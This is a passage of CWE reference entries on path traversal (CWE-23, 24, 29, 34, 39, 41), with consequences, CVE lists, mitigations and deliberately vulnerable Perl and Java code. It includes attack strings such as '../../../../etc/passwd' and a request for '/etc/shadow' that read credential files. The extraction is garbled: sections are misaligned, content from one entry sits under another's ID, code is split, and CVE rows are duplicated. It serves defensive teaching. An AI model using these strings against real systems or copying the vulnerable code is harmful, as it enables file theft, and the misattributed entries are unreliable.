When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` [R.22.3] provide this capability.

Architecture and Design**Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design**Operation****Identify and Reduce Attack Surface**

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Operation**Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationship Notes

Pathname equivalence can be regarded as a type of canonicalization error.

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Research Gaps

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "..\" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//.." variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

CWE-23: Relative Path Traversal

Weakness ID: 23 (Weakness Base) Status: Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity

Modify files or directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality

Read files or directories

The attacker may be able to read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability

DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Demonstrative Examples

Example 1:

The following URLs are vulnerable to this attack:

Bad Code

```
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

Attack

```
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd
```

Example 2:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Perl Example:

Bad Code

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

Attack

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

Result

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

Result

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 3:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

HTML Example:

Good Code

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Java Example:

Bad Code

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\\"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
}
```

```

}
...
}

```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-1999-1082	read files via "......" in web server (doubled triple dot?)
CVE-2000-0240	read files via "/...../" in URL
CVE-2000-0773	read files via "...." in web server
CVE-2001-0467	"\.." in web server
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "." in Windows-based FTP server.
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands
CVE-2001-0615	".." or "...." in chat server
CVE-2001-0963	".." in cd command in FTP server
CVE-2001-1131	".." in cd command in FTP server
CVE-2001-1193	".." in cd command in FTP server
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002.
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL.
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/.." sequences, or several "../" in a URI.
CVE-2002-0661	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2002-0946	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.
CVE-2003-0313	Directory listing of web server using "..."
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "..../" in user supplied parameters.
CVE-2004-2121	read files via "......" in web server (doubled triple dot?)
CVE-2005-0202	".../.../" bypasses regexp's that remove "/.." and "../"
CVE-2005-1658	Triple dot
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command.
CVE-2005-2169	chain: ".../.../" bypasses protection mechanism using regexp's that remove "/.." resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal.

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes:

- `realpath()` in C
- `getCanonicalPath()` in Java
- `GetFullPath()` in ASP.NET
- `realpath()` or `abs_path()` in Perl
- `realpath()` in PHP

CWE-24: Path Traversal: '../filedir'

Weakness ID: 24 (Weakness Variant)

Status: Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation
Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

PLOVER		'..\filename' ('dot dot backslash')
Software Fault Patterns	SFP16	Path Traversal

CWE-29: Path Traversal: '..\filename'

Weakness ID: 29 (*Weakness Variant*) **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "\.\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Maintenance Notes

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

CWE-34: Path Traversal: '...//'

Weakness ID: 34 (*Weakness Variant*) **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '.../' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then ".../" can collapse into the "../" unsafe value (CWE-182). It could also be useful when ".." is removed, if the operating system treats "/" and "." as equivalent.

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity

Modify files or directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality

Read files or directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability

DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Demonstrative Examples

Example 1:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Java Example:

Bad Code

```
String filename = System.getProperty("com.domain.application.dictionaryFile");  
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

HTML Example:

Good Code

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">  
Choose a file to upload:  
<input type="file" name="filename"/>  
<br/>  
<input type="submit" name="submit" value="Submit"/>  
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Java Example:

Bad Code

```
public class FileUploadServlet extends HttpServlet {  
    ...  
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
        response.setContentType("text/html");  
        PrintWriter out = response.getWriter();  
        String contentType = request.getContentType();  
        // the starting position of the boundary header  
        int ind = contentType.indexOf("boundary=");  
        String boundary = contentType.substring(ind+9);  
        String pLine = new String();  
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value  
        // verify that content type is multipart form data  
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {  
            // extract the filename from the Http header  
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));  
            ...  
            pLine = br.readLine();  
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\\"));  
            ...  
            // output the file to the local upload directory  
            try {  
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));  
                for (String line; (line=br.readLine())!=null; ) {  
                    if (line.indexOf(boundary) == -1) {  
                        bw.write(line);  
                        bw.newLine();  
                    }  
                }  
            }  
        }  
    }  
}
```

```

        bw.flush();
    }
} //end of for loop
bw.close();
} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
CVE-2001-1269	ZIP file extractor allows full path
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname.
CVE-2002-1818	Path traversal using absolute pathname
CVE-2002-1913	Path traversal using absolute pathname
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames
CVE-2005-2147	Path traversal using absolute pathname

CVE-2002-1913	Path traversal using absolute pathname
CVE-2005-2147	Path traversal using absolute pathname

Potential Mitigations

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-39: Path Traversal: 'C:dirname'

Weakness ID: 39 (*Weakness Variant*)

Status: Draft

Description

Summary

An attacker can inject a drive letter or Windows volume letter ('C:dirname') into a software system to potentially redirect access to an unintended location or arbitrary file.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity

Modify files or directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality

Read files or directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability

DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Observed Examples

CWE-41: Improper Resolution of Path Equivalence**Weakness ID:** 41 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Integrity

Access Control

Read files or directories

Modify files or directories

Bypass protection mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

Reference	Description
BID:3518	Source code disclosure
BID:6042	Input Validation error
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names
CVE-1999-1083	Possibly (could be a cleansing error)
CVE-1999-1456	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
CVE-2000-0004	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.
CVE-2000-0191	application check access for restricted URL before canonicalization
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
CVE-2000-1050	Access directory using multiple leading slash.
CVE-2000-1114	Source code disclosure using trailing dot
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL
CVE-2001-0054	Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.
CVE-2001-0446	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.
CVE-2001-0693	Source disclosure via trailing encoded space "%20"
CVE-2001-0778	Source disclosure via trailing encoded space "%20"
CVE-2001-0795	Source code disclosure using 8.3 file name.
CVE-2001-0892	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
CVE-2001-0893	Read sensitive files with trailing "/"
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
CVE-2001-1152	Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a ./, or (4) URL-encoded characters.
CVE-2001-1248	Source disclosure via trailing encoded space "%20"
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk."
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.
CVE-2002-0112	Server allows remote attackers to view password protected files via ./ in the URL.
CVE-2002-0253	Overlaps infoleak
CVE-2002-0275	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.
CVE-2002-0304	Server allows remote attackers to read password-protected files via a ./ in the HTTP request.
CVE-2002-0433	List files in web server using "*.ext"
CVE-2002-1078	Directory listings in web server using multiple trailing slash

Reference	Description
CVE-2002-1238	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure.
CVE-2002-1483	Read files with full pathname using multiple internal slash.
CVE-2002-1603	Source disclosure via trailing encoded space "%20"
CVE-2002-1986,	Source code disclosure using trailing dot
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.
CVE-2004-0280	Source disclosure via trailing encoded space "%20"
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/"
CVE-2004-0578	Server allows remote attackers to read arbitrary files via leading slash (/) characters in a URL request.
CVE-2004-0696	List directories using desired path and "**"
CVE-2004-0815	".//etc" cleansed to ".//etc" then "/etc"
CVE-2004-0847	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability."
CVE-2004-1032	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.
CVE-2004-1814	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.
CVE-2004-1878	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).
CVE-2004-2213	Source code disclosure using trailing dot or trailing encoding space "%20"
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.
CVE-2005-0622	Source disclosure via trailing encoded space "%20"
CVE-2005-1365	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.
CVE-2005-1366	CGI source disclosure using "dirname../cgi-bin"
CVE-2005-1656	Source disclosure via trailing encoded space "%20"
CVE-2005-3293	Source code disclosure using trailing dot

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Reference	Description
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.

Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	ⓑ	41	Improper Resolution of Path Equivalence	699	70
